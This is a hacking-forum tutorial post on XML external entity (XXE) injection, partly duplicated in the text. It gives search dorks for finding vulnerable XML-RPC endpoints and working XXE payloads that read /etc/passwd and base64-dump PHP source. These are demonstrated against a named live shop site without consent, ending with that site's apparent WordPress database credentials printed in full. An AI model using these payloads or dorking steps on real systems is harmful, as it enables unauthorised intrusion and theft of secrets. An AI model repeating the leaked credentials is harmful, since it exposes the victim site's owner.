Mar 31, 2015 09:24 AM
(This post was last modified: Mar 31, 2015 09:35 AM by benzi.)
sup.
i saw that there are no mentions in this forum about XXE Injection, except from one thread.
which is not a good thing, since this attack is really nice.
lets start.
xxe stands for xml external entity.
in this attack, we're using xml entity commands to read files (mainly), execute commands, DOS, port scan and in some versions even upload files.
whats that mean?
if sqli works using sql commands, xxe works using xml commands.
in this tut, i will be talking about reading local files using xxe error based.
i belive we learn best from practice, thats why im demonstrating on live site.
TOC
- find vulns.
- exploitation.
find vulns
so thats all good and beautiful, but we still need a site to practice on.
which means we need dork, and i found nice one. 🙂
the usage is navigate from
site.com/skin/frontend
to
site.com/api/xmlrpc
if we want to check specific site, we can also use google dorking-
exploitation
thats what a typical xxe vuln looks like-
![[Image: rL5pjGO.png]](https://i.imgur.com/rL5pjGO.png)
lets do a test, to see if its vuln.
we will create a new entity named "tutorial", and put in a text.
now, as i said, this tut will focus on error based.
to create an error, we're using <methodName> tag and <methodCall> tag, which basically calls a xml method.
now we will call are entity using the 2 tags, and we will get an error because theres no method called "tutorial".
thats how the command will look like-
the usage is simple.
GET - site
POST - command.
![[Image: JsNVXeP.png]](https://i.imgur.com/JsNVXeP.png)
and as expected, we got an error.
![[Image: iZxndB4.png]](https://i.imgur.com/iZxndB4.png)
<string>Method "benz" does not exist</string>
lets try to do more than that.
like read /etc/passwd, and we can do that by use file:// wrapper.
![[Image: MnBUA1t.png]](https://i.imgur.com/MnBUA1t.png)
as we can see, we can use php wrappers.
to read the source of other files, i'll be using php://filter.
i use it because that allowes us to see the full source, not only the html.
lets find the config file.
like lfd, we first check the main index.php.
since we are in /boutique directory, we will navigate to the parent directory.
![[Image: LYlrjCo.png]](https://i.imgur.com/LYlrjCo.png)
lets decode that base64, and see the content of the file.
![[Image: zHyRDKQ.png]](https://i.imgur.com/zHyRDKQ.png)
as we can see, the site use wordpress.
the config file of wordpress is wp-config.php
lets check in this site-
we got another base64, which means the file exist.
lets decode it.
Pwned.
hope you learned something 🙂
i saw that there are no mentions in this forum about XXE Injection, except from one thread.
which is not a good thing, since this attack is really nice.
lets start.
xxe stands for xml external entity.
in this attack, we're using xml entity commands to read files (mainly), execute commands, DOS, port scan and in some versions even upload files.
whats that mean?
if sqli works using sql commands, xxe works using xml commands.
in this tut, i will be talking about reading local files using xxe error based.
i belive we learn best from practice, thats why im demonstrating on live site.
TOC
- find vulns.
- exploitation.
find vulns
so thats all good and beautiful, but we still need a site to practice on.
which means we need dork, and i found nice one. 🙂
Code
allinurl:skin/frontendsite.com/skin/frontend
to
site.com/api/xmlrpc
if we want to check specific site, we can also use google dorking-
Code
site:site.com inurl:xmlrpcexploitation
thats what a typical xxe vuln looks like-
Code
https://malga.ca/boutique/api/xmlrpc![[Image: rL5pjGO.png]](https://i.imgur.com/rL5pjGO.png)
lets do a test, to see if its vuln.
we will create a new entity named "tutorial", and put in a text.
now, as i said, this tut will focus on error based.
to create an error, we're using <methodName> tag and <methodCall> tag, which basically calls a xml method.
now we will call are entity using the 2 tags, and we will get an error because theres no method called "tutorial".
thats how the command will look like-
Code
<!DOCTYPE a [
<!ENTITY tutorial "benz">
]>
<methodCall><methodName>&tutorial;</methodName></methodCall>the usage is simple.
GET - site
POST - command.
![[Image: JsNVXeP.png]](https://i.imgur.com/JsNVXeP.png)
and as expected, we got an error.
![[Image: iZxndB4.png]](https://i.imgur.com/iZxndB4.png)
<string>Method "benz" does not exist</string>
lets try to do more than that.
like read /etc/passwd, and we can do that by use file:// wrapper.
Code
<!DOCTYPE a [
<!ENTITY tutorial SYSTEM "file:///etc/passwd" >
]>
<methodCall><methodName>&tutorial;</methodName></methodCall>![[Image: MnBUA1t.png]](https://i.imgur.com/MnBUA1t.png)
as we can see, we can use php wrappers.
to read the source of other files, i'll be using php://filter.
i use it because that allowes us to see the full source, not only the html.
lets find the config file.
like lfd, we first check the main index.php.
since we are in /boutique directory, we will navigate to the parent directory.
Code
<!DOCTYPE a [
<!ENTITY tutorial SYSTEM "php://filter/convert.base64-encode/resource=../index.php" >
]>
<methodCall><methodName>&tutorial;</methodName></methodCall>![[Image: LYlrjCo.png]](https://i.imgur.com/LYlrjCo.png)
lets decode that base64, and see the content of the file.
![[Image: zHyRDKQ.png]](https://i.imgur.com/zHyRDKQ.png)
as we can see, the site use wordpress.
the config file of wordpress is wp-config.php
lets check in this site-
Code
<!DOCTYPE a [
<!ENTITY tutorial SYSTEM "php://filter/convert.base64-encode/resource=../wp-config.php" >
]>
<methodCall><methodName>&tutorial;</methodName></methodCall>we got another base64, which means the file exist.
lets decode it.
Code
// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define('DB_NAME', 'malgaca_wp');
/** MySQL database username */
define('DB_USER', 'malgaca_wpuser');
/** MySQL database password */
define('DB_PASSWORD', 'J41M4lAuC03ur');
/** MySQL hostname */
define('DB_HOST', 'localhost');
/** Database Charset to use in creating database tables. */
define('DB_CHARSET', 'utf8');
/** The Database Collate type. Don't change this if in doubt. */
define('DB_COLLATE', '');Pwned.
hope you learned something 🙂
if you cant find somethin to live for, you best find somethin to die for.



